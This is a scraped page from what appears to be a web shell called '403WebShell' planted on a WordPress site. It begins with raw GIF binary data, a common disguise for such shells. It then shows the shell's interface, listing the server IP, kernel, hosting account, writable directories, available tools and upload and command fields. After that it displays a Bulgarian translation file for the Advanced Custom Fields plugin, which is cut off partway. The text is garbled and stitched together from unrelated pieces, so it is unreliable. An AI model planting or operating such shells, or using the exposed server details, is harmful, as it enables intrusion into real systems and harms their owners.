GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/acf-bg_BG.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2016-02-05 11:05+1000\n"
"PO-Revision-Date: 2016-11-03 17:07+1000\n"
"Last-Translator: Elliot Condon <e@elliotcondon.com>\n"
"Language-Team: Elliot Condon <e@elliotcondon.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.8.1\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"Language: bg_BG\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: acf.php:63
msgid "Advanced Custom Fields"
msgstr "Модерни потребителски полета"

#: acf.php:266 admin/admin.php:61
msgid "Field Groups"
msgstr "Групи полета"

#: acf.php:267
msgid "Field Group"
msgstr "Групa полета"

#: acf.php:268 acf.php:300 admin/admin.php:62
#: pro/fields/flexible-content.php:506
msgid "Add New"
msgstr "Създаване"

#: acf.php:269
msgid "Add New Field Group"
msgstr "Създаване на нова група полета"

#: acf.php:270
msgid "Edit Field Group"
msgstr "Редактиране на група полета"

#: acf.php:271
msgid "New Field Group"
msgstr "Нова група полета"

#: acf.php:272
msgid "View Field Group"
msgstr "Преглед на група полета"

#: acf.php:273
msgid "Search Field Groups"
msgstr "Търсене на групи полета"

#: acf.php:274
msgid "No Field Groups found"
msgstr "Няма открити групи полета"

#: acf.php:275
msgid "No Field Groups found in Trash"
msgstr "Няма открити групи полета в кошчето"

#: acf.php:298 admin/field-group.php:176 admin/field-group.php:223
#: admin/field-groups.php:528
msgid "Fields"
msgstr "Полета"

#: acf.php:299
msgid "Field"
msgstr "Поле"

#: acf.php:301
msgid "Add New Field"
msgstr "Добавяне на ново поле"

#: acf.php:302
msgid "Edit Field"
msgstr "Редактиране на поле"

#: acf.php:303 admin/views/field-group-fields.php:18
#: admin/views/settings-info.php:111
msgid "New Field"
msgstr "Ново поле"

#: acf.php:304
msgid "View Field"
msgstr "Преглед на поле"

#: acf.php:305
msgid "Search Fields"
msgstr "Търсене на полета"

#: acf.php:306
msgid "No Fields found"
msgstr "Няма открити полета"

#: acf.php:307
msgid "No Fields found in Trash"
msgstr "Няма открити полета в кошчето"

#: acf.php:346 admin/field-group.php:316 admin/field-groups.php:586
#: admin/views/field-group-options.php:13
msgid "Disabled"
msgstr "Изключено"

#: acf.php:351
#, php-format
msgid "Disabled <span class=\"count\">(%s)</span>"
msgid_plural "Disabled <span class=\"count\">(%s)</span>"
msgstr[0] "Изключено <span class=\"count\">(%s)</span>"
msgstr[1] "Изключени <span class=\"count\">(%s)</span>"

#: admin/admin.php:57 admin/views/field-group-options.php:115
msgid "Custom Fields"
msgstr "Потребителски полета"

#: admin/field-group.php:68 admin/field-group.php:69 admin/field-group.php:71
msgid "Field group updated."
msgstr "Групата полета бе обновена."

#: admin/field-group.php:70
msgid "Field group deleted."
msgstr "Групата полета бе изтрита."

#: admin/field-group.php:73
msgid "Field group published."
msgstr "Групата полета бе публикувана."

#: admin/field-group.php:74
msgid "Field group saved."
msgstr "Групата полета бе запазена."

#: admin/field-group.php:75
msgid "Field group submitted."
msgstr "Групата полета бе изпратена."

#: admin/field-group.php:76
msgid "Field group scheduled for."
msgstr "Групата полета бе планирана."

#: admin/field-group.php:77
msgid "Field group draft updated."
msgstr "Черновата на групата полета бе обновена."

#: admin/field-group.php:177
msgid "Location"
msgstr "Местоположение"

#: admin/field-group.php:178
msgid "Settings"
msgstr "Настройки"

#: admin/field-group.php:217
msgid "Move to trash. Are you sure?"
msgstr "Преместване в кошчето. Сигурни ли сте?"

#: admin/field-group.php:218
msgid "checked"
msgstr "избрано"

#: admin/field-group.php:219
msgid "No toggle fields available"
msgstr "Няма налични полета за превключване"

#: admin/field-group.php:220
msgid "Field group title is required"
msgstr "Заглавието на групата полета е задължително"

#: admin/field-group.php:221 api/api-field-group.php:581
msgid "copy"
msgstr "копиране"

#: admin/field-group.php:222
#: admin/views/field-group-field-conditional-logic.php:62
#: admin/views/field-group-field-conditional-logic.php:162
#: admin/views/field-group-locations.php:59
#: admin/views/field-group-locations.php:135 api/api-helpers.php:3401
msgid "or"
msgstr "или"

#: admin/field-group.php:224
msgid "Parent fields"
msgstr "Родителски полета"

#: admin/field-group.php:225
msgid "Sibling fields"
msgstr "Съседни полета"

#: admin/field-group.php:226
msgid "Move Custom Field"
msgstr "Преместване на поле"

#: admin/field-group.php:227
msgid "This field cannot be moved until its changes have been saved"
msgstr "Това поле не може да бъде преместено докато не го запазите."

#: admin/field-group.php:228
msgid "Null"
msgstr "Нищо"

#: admin/field-group.php:229 core/input.php:217
msgid "The changes you made will be lost if you navigate away from this page"
msgstr ""
"Промените, които сте направили, ще бъдат загубени ако излезете от тази "
"страница"

#: admin/field-group.php:230
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr "Низът \"field_\" не може да бъде използван в началото на името на поле"

#: admin/field-group.php:286
msgid "Field Keys"
msgstr "Ключове на полетата"

#: admin/field-group.php:316 admin/views/field-group-options.php:12
msgid "Active"
msgstr "Активно"

#: admin/field-group.php:785
msgid "Front Page"
msgstr "Първа страница"

#: admin/field-group.php:786
msgid "Posts Page"
msgstr "Страница с публикации"

#: admin/field-group.php:787
msgid "Top Level Page (no parent)"
msgstr "Горно ниво страница (родител)"

#: admin/field-group.php:788
msgid "Parent Page (has children)"
msgstr "Родителска страница (има деца)"

#: admin/field-group.php:789
msgid "Child Page (has parent)"
msgstr "Дете страница (има родител)"

#: admin/field-group.php:805
msgid "Default Template"
msgstr "Шаблон по подразбиране"

#: admin/field-group.php:827
msgid "Logged in"
msgstr "Влезли сте"

#: admin/field-group.php:828
msgid "Viewing front end"
msgstr "Преглеждане на сайта"

#: admin/field-group.php:829
msgid "Viewing back end"
msgstr "Преглеждане на администрацията"

#: admin/field-group.php:848
msgid "Super Admin"
msgstr "Супер администратор"

#: admin/field-group.php:859 admin/field-group.php:867
#: admin/field-group.php:881 admin/field-group.php:888
#: admin/field-group.php:903 admin/field-group.php:913 fields/file.php:235
#: fields/image.php:231 pro/fields/gallery.php:661
msgid "All"
msgstr "Всички"

#: admin/field-group.php:868
msgid "Add / Edit"
msgstr "Добавяне / редактиране"

#: admin/field-group.php:869
msgid "Register"
msgstr "Регистрация"

#: admin/field-group.php:1100
msgid "Move Complete."
msgstr "Преместването бе завършено."

#: admin/field-group.php:1101
#, php-format
msgid "The %s field can now be found in the %s field group"
msgstr "Полето %s сега може да бъде открито в групата полета %s"

#: admin/field-group.php:1103
msgid "Close Window"
msgstr "Затваряне на прозореца"

#: admin/field-group.php:1138
msgid "Please select the destination for this field"
msgstr "Моля, изберете дестинация за това поле"

#: admin/field-group.php:1145
msgid "Move Field"
msgstr "Преместване на поле"

#: admin/field-groups.php:74
#, php-format
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Активно <span class=\"count\">(%s)</span>"
msgstr[1] "Активни <span class=\"count\">(%s)</span>"

#: admin/field-groups.php:142
#, php-format
msgid "Field group duplicated. %s"
msgstr "Групата полета %s бе дублирана."

#: admin/field-groups.php:146
#, php-format
msgid "%s field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "%s група полета беше дублирана."
msgstr[1] "%s групи полета бяха дублирани."

#: admin/field-groups.php:228
#, php-format
msgid "Field group synchronised. %s"
msgstr "Групата полета %s бе синхронизирана."

#: admin/field-groups.php:232
#, php-format
msgid "%s field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "%s група полета беше синхронизирана."
msgstr[1] "%s групи полета бяха синхронизирани."

#: admin/field-groups.php:412 admin/field-groups.php:576
msgid "Sync available"
msgstr "Налична е синхронизация"

#: admin/field-groups.php:525
msgid "Title"
msgstr "Заглавие"

#: admin/field-groups.php:526 admin/views/field-group-options.php:93
#: admin/views/update-network.php:20 admin/views/update-network.php:28
msgid "Description"
msgstr "Описание"

#: admin/field-groups.php:527 admin/views/field-group-options.php:5
msgid "Status"
msgstr "Статус"

#: admin/field-groups.php:624 admin/settings-info.php:76
#: pro/admin/views/settings-updates.php:111
msgid "Changelog"
msgstr "Дневник с промени"

#: admin/field-groups.php:625
msgid "See what's new in"
msgstr "Вижте какво е новото в"

#: admin/field-groups.php:625
msgid "version"
msgstr "версия"

#: admin/field-groups.php:627
msgid "Resources"
msgstr "Ресурси"

#: admin/field-groups.php:629
msgid "Getting Started"
msgstr "Как да започнете"

#: admin/field-groups.php:630 pro/admin/settings-updates.php:73
#: pro/admin/views/settings-updates.php:17
msgid "Updates"
msgstr "Актуализации"

#: admin/field-groups.php:631
msgid "Field Types"
msgstr "Типове полета"

#: admin/field-groups.php:632
msgid "Functions"
msgstr "Функции"

#: admin/field-groups.php:633
msgid "Actions"
msgstr "Действия"

#: admin/field-groups.php:634 fields/relationship.php:717
msgid "Filters"
msgstr "Филтри"

#: admin/field-groups.php:635
msgid "'How to' guides"
msgstr "Ръководства"

#: admin/field-groups.php:636
msgid "Tutorials"
msgstr "Уроци"

#: admin/field-groups.php:641
msgid "Created by"
msgstr "Създадено от"

#: admin/field-groups.php:684
msgid "Duplicate this item"
msgstr "Дублиране на този елемент"

#: admin/field-groups.php:684 admin/field-groups.php:700
#: admin/views/field-group-field.php:58 pro/fields/flexible-content.php:505
msgid "Duplicate"
msgstr "Дублиране"

#: admin/field-groups.php:746
#, php-format
msgid "Select %s"
msgstr "Избор на %s"

#: admin/field-groups.php:754
msgid "Synchronise field group"
msgstr "Синхронизиране на групата полета"

#: admin/field-groups.php:754 admin/field-groups.php:771
msgid "Sync"
msgstr "Синхронизация"

#: admin/settings-addons.php:51 admin/views/settings-addons.php:9
msgid "Add-ons"
msgstr "Добавки"

#: admin/settings-addons.php:87
msgid "<b>Error</b>. Could not load add-ons list"
msgstr "<b>Грешка</b>. Списъкът с добавки не може да бъде зареден"

#: admin/settings-info.php:50
msgid "Info"
msgstr "Информация"

#: admin/settings-info.php:75
msgid "What's New"
msgstr "Какво ново"

#: admin/settings-tools.php:54 admin/views/settings-tools-export.php:23
#: admin/views/settings-tools.php:31
msgid "Tools"
msgstr "Инструменти"

#: admin/settings-tools.php:151 admin/settings-tools.php:369
msgid "No field groups selected"
msgstr "Няма избрани групи полета"

#: admin/settings-tools.php:188
msgid "No file selected"
msgstr "Няма избран файл"

#: admin/settings-tools.php:201
msgid "Error uploading file. Please try again"
msgstr "Грешка при качване на файл. Моля, опитайте отново"

#: admin/settings-tools.php:210
msgid "Incorrect file type"
msgstr "Грешен тип файл"

#: admin/settings-tools.php:227
msgid "Import file empty"
msgstr "Файлът за импортиране е празен"

#: admin/settings-tools.php:323
#, php-format
msgid "<b>Success</b>. Import tool added %s field groups: %s"
msgstr "<b>Успех</b>. Инструментът за импортиране добави %s групи полета: %s"

#: admin/settings-tools.php:332
#, php-format
msgid ""
"<b>Warning</b>. Import tool detected %s field groups already exist and have "
"been ignored: %s"
msgstr ""
"<b>Внимание</b>. Инструментът за импортиране откри, че %s групи полета вече "
"съществуват и бяха игнорирани: %s"

#: admin/update.php:113
msgid "Upgrade ACF"
msgstr "Обновяване"

#: admin/update.php:143
msgid "Review sites & upgrade"
msgstr "Преглед на сайтове и обновяване"

#: admin/update.php:298
msgid "Upgrade"
msgstr "Обновяване"

#: admin/update.php:328
msgid "Upgrade Database"
msgstr "Обновяване на базата данни"

#: admin/views/field-group-field-conditional-logic.php:29
msgid "Conditional Logic"
msgstr "Условна логика"

#: admin/views/field-group-field-conditional-logic.php:40
#: admin/views/field-group-field.php:140 fields/checkbox.php:246
#: fields/message.php:144 fields/page_link.php:553 fields/page_link.php:567
#: fields/post_object.php:419 fields/post_object.php:433 fields/select.php:377
#: fields/select.php:391 fields/select.php:405 fields/select.php:419
#: fields/tab.php:161 fields/taxonomy.php:808 fields/taxonomy.php:822
#: fields/taxonomy.php:836 fields/taxonomy.php:850 fields/user.php:461
#: fields/user.php:475 fields/wysiwyg.php:415
#: pro/admin/views/settings-updates.php:93
msgid "Yes"
msgstr "Да"

#: admin/views/field-group-field-conditional-logic.php:41
#: admin/views/field-group-field.php:141 fields/checkbox.php:247
#: fields/message.php:145 fields/page_link.php:554 fields/page_link.php:568
#: fields/post_object.php:420 fields/post_object.php:434 fields/select.php:378
#: fields/select.php:392 fields/select.php:406 fields/select.php:420
#: fields/tab.php:162 fields/taxonomy.php:723 fields/taxonomy.php:809
#: fields/taxonomy.php:823 fields/taxonomy.php:837 fields/taxonomy.php:851
#: fields/user.php:462 fields/user.php:476 fields/wysiwyg.php:416
#: pro/admin/views/settings-updates.php:103
msgid "No"
msgstr "Не"

#: admin/views/field-group-field-conditional-logic.php:62
msgid "Show this field if"
msgstr "Показване на това поле ако"

#: admin/views/field-group-field-conditional-logic.php:111
#: admin/views/field-group-locations.php:34
msgid "is equal to"
msgstr "е равно на"

#: admin/views/field-group-field-conditional-logic.php:112
#: admin/views/field-group-locations.php:35
msgid "is not equal to"
msgstr "не е равно на"

#: admin/views/field-group-field-conditional-logic.php:149
#: admin/views/field-group-locations.php:122
msgid "and"
msgstr "и"

#: admin/views/field-group-field-conditional-logic.php:164
#: admin/views/field-group-locations.php:137
msgid "Add rule group"
msgstr "Добавяне на група правила"

#: admin/views/field-group-field.php:54 admin/views/field-group-field.php:57
msgid "Edit field"
msgstr "Редактиране на поле"

#: admin/views/field-group-field.php:57 pro/fields/gallery.php:363
msgid "Edit"
msgstr "Редактиране"

#: admin/views/field-group-field.php:58
msgid "Duplicate field"
msgstr "Дублиране на поле"

#: admin/views/field-group-field.php:59
msgid "Move field to another group"
msgstr "Преместване на поле в друга група"

#: admin/views/field-group-field.php:59
msgid "Move"
msgstr "Преместване"

#: admin/views/field-group-field.php:60
msgid "Delete field"
msgstr "Изтриване на поле"

#: admin/views/field-group-field.php:60 pro/fields/flexible-content.php:504
msgid "Delete"
msgstr "Изтриване"

#: admin/views/field-group-field.php:68 fields/oembed.php:225
#: fields/taxonomy.php:924
msgid "Error"
msgstr "Грешка"

#: fields/oembed.php:220 fields/taxonomy.php:900
msgid "Error."
msgstr "Грешка."

#: admin/views/field-group-field.php:68
msgid "Field type does not exist"
msgstr "Типът поле не съществува"

#: admin/views/field-group-field.php:81
msgid "Field Label"
msgstr "Етикет на полето"

#: admin/views/field-group-field.php:82
msgid "This is the name which will appear on the EDIT page"
msgstr "Това е името, което ще се покаже на страницата за редакция"

#: admin/views/field-group-field.php:94
msgid "Field Name"
msgstr "Име на полето"

#: admin/views/field-group-field.php:95
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr "Една дума, без интервали. Долни черти и тирета са позволени"

#: admin/views/field-group-field.php:107
msgid "Field Type"
msgstr "Тип на полето"

#: admin/views/field-group-field.php:121 fields/tab.php:134
msgid "Instructions"
msgstr "Инструкции"

#: admin/views/field-group-field.php:122
msgid "Instructions for authors. Shown when submitting data"
msgstr "Инструкции за автори. Показват се когато се изпращат данни"

#: admin/views/field-group-field.php:133
msgid "Required?"
msgstr "Задължително?"

#: admin/views/field-group-field.php:162
msgid "Wrapper Attributes"
msgstr "Атрибути"

#: admin/views/field-group-field.php:168
msgid "width"
msgstr "широчина"

#: admin/views/field-group-field.php:182
msgid "class"
msgstr "клас"

#: admin/views/field-group-field.php:195
msgid "id"
msgstr "id"

#: admin/views/field-group-field.php:207
msgid "Close Field"
msgstr "Затваряне на полето"

#: admin/views/field-group-fields.php:29
msgid "Order"
msgstr "Ред"

#: admin/views/field-group-fields.php:30 pro/fields/flexible-content.php:531
msgid "Label"
msgstr "Етикет"

#: admin/views/field-group-fields.php:31 pro/fields/flexible-content.php:544
msgid "Name"
msgstr "Име"

#: admin/views/field-group-fields.php:32
msgid "Type"
msgstr "Тип"

#: admin/views/field-group-fields.php:44
msgid ""
"No fields. Click the <strong>+ Add Field</strong> button to create your "
"first field."
msgstr ""
"Няма полета. Натиснете бутона <strong>+ Добавяне на поле</strong> за да "
"създадете първото си поле."

#: admin/views/field-group-fields.php:51
msgid "+ Add Field"
msgstr "+ Добавяне на поле"

#: admin/views/field-group-locations.php:5
#: admin/views/field-group-locations.php:11
msgid "Post"
msgstr "Публикация"

#: admin/views/field-group-locations.php:6 fields/relationship.php:723
msgid "Post Type"
msgstr "Вид на публикация"

#: admin/views/field-group-locations.php:7
msgid "Post Status"
msgstr "Статус на публикация"

#: admin/views/field-group-locations.php:8
msgid "Post Format"
msgstr "Формат на публикация"

#: admin/views/field-group-locations.php:9
msgid "Post Category"
msgstr "Категория на публикация"

#: admin/views/field-group-locations.php:10
msgid "Post Taxonomy"
msgstr "Таксономия на публикация"

#: admin/views/field-group-locations.php:13
#: admin/views/field-group-locations.php:17
msgid "Page"
msgstr "Страница"

#: admin/views/field-group-locations.php:14
msgid "Page Template"
msgstr "Шаблон на страница"

#: admin/views/field-group-locations.php:15
msgid "Page Type"
msgstr "Тип страница"

#: admin/views/field-group-locations.php:16
msgid "Page Parent"
msgstr "Страница родител"

#: admin/views/field-group-locations.php:19 fields/user.php:36
msgid "User"
msgstr "Потребител"

#: admin/views/field-group-locations.php:20
msgid "Current User"
msgstr "Текущ потребител"

#: admin/views/field-group-locations.php:21
msgid "Current User Role"
msgstr "Роля на текущия потребител"

#: admin/views/field-group-locations.php:22
msgid "User Form"
msgstr "Потребителски формуляр"

#: admin/views/field-group-locations.php:23
msgid "User Role"
msgstr "Потребителска роля"

#: admin/views/field-group-locations.php:25 pro/admin/options-page.php:48
msgid "Forms"
msgstr "Формуляри"

#: admin/views/field-group-locations.php:26
msgid "Attachment"
msgstr "Файл"

#: admin/views/field-group-locations.php:27
msgid "Taxonomy Term"
